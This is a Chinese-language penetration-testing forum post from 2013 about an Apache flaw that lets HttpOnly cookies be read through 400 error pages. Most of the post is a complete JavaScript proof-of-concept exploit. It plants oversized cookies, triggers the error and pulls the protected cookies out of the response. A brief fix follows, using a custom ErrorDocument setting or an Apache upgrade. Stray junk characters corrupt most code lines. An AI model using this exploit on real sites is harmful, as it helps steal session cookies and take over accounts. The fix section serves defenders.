中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
' {( C. V$ S! a8 _* s# V; _# {: J% Q' D
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:9 m1 w' t: @9 q* |6 B, R

$ M, N' d* J9 k0 f! R
% d5 v5 C4 {' z$ k6 k// http://www.exploit-db.com/exploits/18442/  ~: B0 j4 t" ]! _+ d* P
function setCookies (good) {
1 {' S  @5 @1 B, {5 p! ^' _% M// Construct string for cookie value/ h, L1 _+ A2 ?, s" I
var str = "";
& p5 j3 W  M+ O/ ^/ `+ u3 O0 ^. Sfor (var i=0; i< 819; i++) {
3 U' w! d  \" A4 {" `str += "x";  R2 o( h+ z9 o& f1 U4 U
}
# }  l' z& z# w# h+ Y// Set cookies2 A( D2 w  z! @$ ~
for (i = 0; i < 10; i++) {
! }8 l% z* r! I  Q# g/ c# F// Expire evil cookie, }! R6 s; e' u% G5 f3 G
if (good) {
$ `$ e% ~  D2 z8 Nvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";( B1 H) N$ [' U) n( G# c
}
1 I8 x+ a8 t5 o% B/ V5 C// Set evil cookie
" @% {* P0 S; |else {
, m' |* r* B1 w* a) F5 w/ W. ?/ b: tvar cookie = "xss"+i+"="+str+";path=/";9 O5 r6 E) o. N' T$ R1 J( e3 w, Z% U5 e
}
' ?; q: _2 K4 Hdocument.cookie = cookie;7 X/ F" l8 m# E2 g9 W3 r) X5 v
}$ X; j( W1 \- \% _
}
+ C( `) d2 }1 I, P! p% N8 l5 nfunction makeRequest() {$ F) a  a+ M2 [; z( {/ q
setCookies();" w( N6 r5 g" e
function parseCookies () {, G) J6 ~, Q3 r' q
var cookie_dict = {};8 h1 q4 B! x7 T3 `. C( A& u
// Only react on 400 status4 {- y1 z. f4 A1 M% p% R! x! {- m- F
if (xhr.readyState === 4 && xhr.status === 400) {
% B$ Y5 g% A4 H9 w/ Q% Q// Replace newlines and match <pre> content
8 @6 a1 K( F+ I$ G: X$ F( B+ j" K7 Avar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);0 x( D# H* ]- ]8 b) H/ f
if (content.length) {& A' `' }( G; m5 N, A) l
// Remove Cookie: prefix  x. P/ `  v4 l. _9 X
content = content[1].replace("Cookie: ", "");
' s( X8 [. m* W8 o8 v2 Avar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
4 x, L' l  ]/ l5 Z// Add cookies to object
7 c( k8 b- w' ?  ]. [for (var i=0; i<cookies.length; i++) {/ q3 a) P% z/ A9 k! O
var s_c = cookies.split('=',2);1 u9 j1 H# N6 ~( R" F
cookie_dict[s_c[0]] = s_c[1];
5 g2 m1 M6 r6 [* @! S# Y& m" v5 m' V}
& |5 t3 R9 I: @5 V% F3 x, C6 F% X}4 y( k! J* a- A, }. p( L
// Unset malicious cookies9 Q$ R% @) `0 H8 r) M8 \& N
setCookies(true);
8 [! Z+ X6 [/ Z" L2 salert(JSON.stringify(cookie_dict));& y- r1 N0 v3 v
}& q. u( f- A; ^+ m6 u) U8 d
}
9 L- r4 D! T- @. L! \// Make XHR request) B9 k5 M( g/ e2 R
var xhr = new XMLHttpRequest();
! F8 E2 c1 }7 K: f2 g# Yxhr.onreadystatechange = parseCookies;
1 N. P, \6 n# E; hxhr.open("GET", "/", true);) F0 R( L  V# w( @
xhr.send(null);: H) z1 a  t) X8 j+ F& q! h
}/ R! ]' K( ]/ j: e
makeRequest();
5 N. w0 e& F0 j2 C* \% {' G& }  D& x! ~$ d& L. b! k
你就能看见华丽丽的400错误包含着cookie信息。2 u0 K5 @/ O+ S# }+ j

. Z2 A4 D4 ?9 q6 s9 ~下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#& v7 J: N) i9 F" |; L

0 ^/ c1 x( u" g9 |9 Q修复方案:# [# `+ B* G. |, z! j

8 h/ y) [  F0 w% nApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下$ \& J1 @6 \9 a7 Z1 |& T

' h) F7 I8 T0 A' f5 C' ^8 ~In the event of a problem or error, Apachecan be configured to do one of four things,1 a: y" [9 s- x- e1 j6 s, k+ _

1 ]  R7 s7 [7 W, k' U; Q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- ^( S! P6 O/ Z* G2. output acustomized message输出一段信息
" P( d" P" p5 J/ D. C5 |1 I. r3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
5 Y% B# q) K' d" B9 `0 [4. redirect to an external URL to handle theproblem/error转向一个外部URL
- a) L2 n! b$ G3 L  V
4 Z- c# Y/ h  f5 g& `, ^经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 _2 T- X5 f3 i
# o% I0 \" m+ |- zApache配置:
: A3 @7 r0 R$ l- X( D+ F9 k
) @  A- j( d3 c' NErrorDocument400 " security test"
& O' a& _5 X& {5 i& `  p5 n& {& Z6 s
/ I3 w. q, H3 T0 {& |当然,升级apache到最新也可:)。
- I# Z. Z& w! J9 o. R1 [/ C+ v( j# o# ]4 s
参考:http://httpd.apache.org/security/vulnerabilities_22.html* o7 j2 J7 M2 K4 W0 Z

+ Q. r6 g% K9 n# m# ]/ E. f9 G5 n. r




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2